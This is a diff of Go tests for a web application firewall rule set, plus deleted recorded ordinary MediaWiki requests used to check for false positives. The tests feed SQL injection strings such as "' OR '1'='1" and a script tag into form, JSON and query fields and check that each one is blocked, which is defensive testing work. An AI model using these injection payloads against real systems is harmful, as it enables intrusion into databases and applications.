||||
{form, formPassword(scriptTag)},
|
||||
{form, "key=password&key=displayname&value=" + url.QueryEscape("' OR '1'='1")},
|
||||
{jsonRequest, `{"key":"email","value":"' OR '1'='1"}`},
|
||||
} {
|
||||
if got, _ := inspectBody(t, crs, sent.r, sent.body); got.Score < threshold {
|
||||
t.Errorf("%s %.40s let through: %+v", sent.r.headers[0], sent.body, got)
|
||||
}
|
||||
}
|
||||
|
||||
// A value in the query keeps every rule.
|
||||
r := request{
|
||||
http.MethodPut, target + "?value=%27%20OR%20%271%27%3D%271",
|
||||
[]string{formData},
|
||||
}
|
||||
|
||||
if got, _ := inspectBody(t, crs, r, "key=password"); got.Score < threshold {
|
||||
t.Errorf("%s let through: %+v", r.target, got)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -487,10 +361,6 @@ func TestNextcloudAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
t.Errorf("%s let through: %d", request, score)
|
||||
}
|
||||
}
|
||||
|
||||
if score := nextcloudPasswordScore(t, commandInjection); score < nextcloudThreshold {
|
||||
t.Errorf("password %s let through: %d", commandInjection, score)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
|
||||
|
||||
@@ -1,180 +0,0 @@
|
||||
//go:build recorded
|
||||
|
||||
// The tests that check the apps' recorded requests in testdata. The recorded
|
||||
// tag keeps them out of the test phase's pass with the race detector, and
|
||||
// its second pass, without the race detector, runs them.
|
||||
|
||||
package coreruleset_test
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"slices"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// giteaRequests returns the recorded ordinary gitea requests in testdata.
|
||||
// Each has the Referer of a page that names the same, as a page opened
|
||||
// from it has.
|
||||
func giteaRequests(t *testing.T) []request {
|
||||
t.Helper()
|
||||
|
||||
text, err := os.ReadFile(filepath.Join("testdata", "gitea-requests.txt"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var requests []request
|
||||
|
||||
for line := range strings.Lines(string(text)) {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" || strings.HasPrefix(line, "#") {
|
||||
continue
|
||||
}
|
||||
|
||||
target, header, _ := strings.Cut(line, " ")
|
||||
|
||||
headers := []string{"Referer: http://git.example" + target}
|
||||
if header != "" {
|
||||
headers = append(headers, header)
|
||||
}
|
||||
|
||||
requests = append(requests, get(target, headers...))
|
||||
}
|
||||
|
||||
return requests
|
||||
}
|
||||
|
||||
func TestOrdinaryGiteaRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
for _, r := range giteaRequests(t) {
|
||||
if got := inspect(t, crs, r); got.Score >= threshold {
|
||||
t.Errorf("%s %q refused: %+v", r.target, r.headers[1:], got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// recordedRequest is a line of a file of recorded requests in testdata.
|
||||
type recordedRequest struct {
|
||||
Method string `json:"method"`
|
||||
Target string `json:"target"`
|
||||
Headers []string `json:"headers"`
|
||||
Body string `json:"body"`
|
||||
}
|
||||
|
||||
// recordedRequests returns the recorded ordinary requests in the file name
|
||||
// in testdata, each with its body.
|
||||
func recordedRequests(t *testing.T, name string) []recordedRequest {
|
||||
t.Helper()
|
||||
|
||||
path := filepath.Join("testdata", name)
|
||||
|
||||
text, err := os.ReadFile(path) //nolint:gosec // a file in testdata
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
var requests []recordedRequest
|
||||
|
||||
for line := range strings.Lines(string(text)) {
|
||||
if strings.HasPrefix(line, "#") {
|
||||
continue
|
||||
}
|
||||
|
||||
var r recordedRequest
|
||||
|
||||
err := json.Unmarshal([]byte(line), &r)
|
||||
if err != nil {
|
||||
t.Fatalf("%q: %v", line, err)
|
||||
}
|
||||
|
||||
requests = append(requests, r)
|
||||
}
|
||||
|
||||
return requests
|
||||
}
|
||||
|
||||
// wantRecordedRequestsPass checks that none of the recorded ordinary
|
||||
// requests in the file name in testdata is refused, at the defaults and
|
||||
// while bodies are read. A request with neither a body nor a Content-Type
|
||||
// header is checked only at the defaults: with neither, the set that reads
|
||||
// bodies has nothing more to check. Each request runs as its own parallel
|
||||
// subtest.
|
||||
func wantRecordedRequestsPass(t *testing.T, name string) {
|
||||
t.Helper()
|
||||
|
||||
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
|
||||
|
||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||
|
||||
for _, recorded := range recordedRequests(t, name) {
|
||||
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
r := request{recorded.Method, recorded.Target, recorded.Headers}
|
||||
|
||||
got, _ := inspectBody(t, defaults, r, recorded.Body)
|
||||
if got.Score >= threshold {
|
||||
t.Errorf("%s %s refused: %+v", r.method, r.target, got)
|
||||
}
|
||||
|
||||
typed := slices.ContainsFunc(recorded.Headers, func(header string) bool {
|
||||
name, _, _ := strings.Cut(header, ":")
|
||||
|
||||
return strings.EqualFold(name, "Content-Type")
|
||||
})
|
||||
if recorded.Body == "" && !typed {
|
||||
return
|
||||
}
|
||||
|
||||
got, _ = inspectBody(t, bodies, r, recorded.Body)
|
||||
if got.Score >= threshold {
|
||||
t.Errorf("%s %s %.200q refused while bodies are read: %+v",
|
||||
r.method, r.target, recorded.Body, got)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "drupal-requests.txt")
|
||||
}
|
||||
|
||||
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "mastodon-requests.txt")
|
||||
}
|
||||
|
||||
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "mediawiki-requests.txt")
|
||||
}
|
||||
|
||||
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "nextcloud-requests.txt")
|
||||
}
|
||||
|
||||
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "vaultwarden-requests.txt")
|
||||
}
|
||||
|
||||
func TestOrdinaryWordPressRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "wordpress-requests.txt")
|
||||
}
|
||||
@@ -600,72 +600,3 @@
|
||||
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 161", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=2%401794271545%23fad50a8505bea134cc843d03608984cc; UseDC=master"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APython3+notes%0D%0APowershell+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}
|
||||
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 179", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=3%401794271545%23fad50a8505bea134cc843d03608984cc"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0APowershell+notes%0D%0APython3+notes%0D%0ALs+-la+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}
|
||||
{"method": "POST", "target": "/index.php/Special:EditWatchlist/raw", "headers": ["Host: example.com", "Content-Length: 200", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Special:EditWatchlist/raw", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ed9592ia2u8ub3tdanl6632jbgboksr9; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794271545%23fad50a8505bea134cc843d03608984cc"], "body": "title=Special%3AEditWatchlist%2Fraw&wpTitles=Lighthouse+notes%0D%0ALs+-la+notes%0D%0APowershell+notes%0D%0APython3+notes%0D%0A.htaccess+notes&wpEditToken=b2872c8548fbba5f193e80b549d5da2f6af26939%2B%5C"}
|
||||
# From a German wiki without short URLs, whose forms post to the German names of
|
||||
# the special pages: signing up, changing the password, and setting a new
|
||||
# password at sign-in once the old one expired. Each password is random.
|
||||
{"method": "GET", "target": "/index.php/Spezial:Benutzerkonto_anlegen", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.signup.styles%7Coojs-ui.styles.icons-user%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?lang=de&modules=startup&only=scripts&raw=1&safemode=1&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||
{"method": "GET", "target": "/resources/assets/change-your-logo-icon.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?lang=de&modules=%40wikimedia%2Fcodex%2Ccodex-styles%2Cjquery%2Cvue%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.createaccount%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=l1ne8", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=menu&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.signup.styles%7Coojs-ui.styles.icons-user%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=ellipsis&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.signup.styles%7Coojs-ui.styles.icons-user%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userTalk&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.signup.styles%7Coojs-ui.styles.icons-user%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userContributions&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.signup.styles%7Coojs-ui.styles.icons-user%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||
{"method": "GET", "target": "/resources/assets/poweredby_mediawiki.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=search&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.signup.styles%7Coojs-ui.styles.icons-user%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbles&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=article&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=history&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=star&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.signup.styles%7Coojs-ui.styles.icons-user%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=wikiText&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbleAdd&variant=progressive&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=editLock&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=edit&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||
{"method": "GET", "target": "/api.php?action=query&format=json&list=users&ususers=Beispielnutzer&usprop=cancreate&formatversion=2&errorformat=html&errorsuselocal=true&uselang=de", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Accept-Language: de-DE", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": ""}
|
||||
{"method": "POST", "target": "/api.php?action=validatepassword", "headers": ["Host: example.com", "Content-Length: 184", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Accept-Language: de-DE", "Origin: http://example.com", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": "action=validatepassword&format=json&user=Beispielnutzer&password=+%2F%22j14y%5B%25%5C(iM%5DzmG%25%3D%5E&email=&realname=&formatversion=2&errorformat=html&errorsuselocal=true&uselang=de"}
|
||||
{"method": "POST", "target": "/index.php/Spezial:Benutzerkonto_anlegen", "headers": ["Host: example.com", "Content-Length: 328", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept-Language: de-DE", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=vb40hsa9o6bcbda6t6rvo5t50bkjdmk3"], "body": "title=Spezial%3ABenutzerkonto+anlegen&wpName=Beispielnutzer&wpPassword=+%2F%22j14y%5B%25%5C%28iM%5DzmG%25%3D%5E&retype=+%2F%22j14y%5B%25%5C%28iM%5DzmG%25%3D%5E&email=&realname=&wpCreateaccount=Benutzerkonto+erstellen&wpEditToken=%2B%5C&authAction=create&force=&wpCreateaccountToken=7a331f326cb63df209618ab8f4d9ee8c6af3a635%2B%5C"}
|
||||
{"method": "GET", "target": "/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?lang=de&modules=jquery%7Cjquery.client%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=sklfj", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Spezial:Benutzerkonto_anlegen", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=4tkdqajchdv6ft3qklvjmb4lupneqbe8; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=1%401794352698%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||
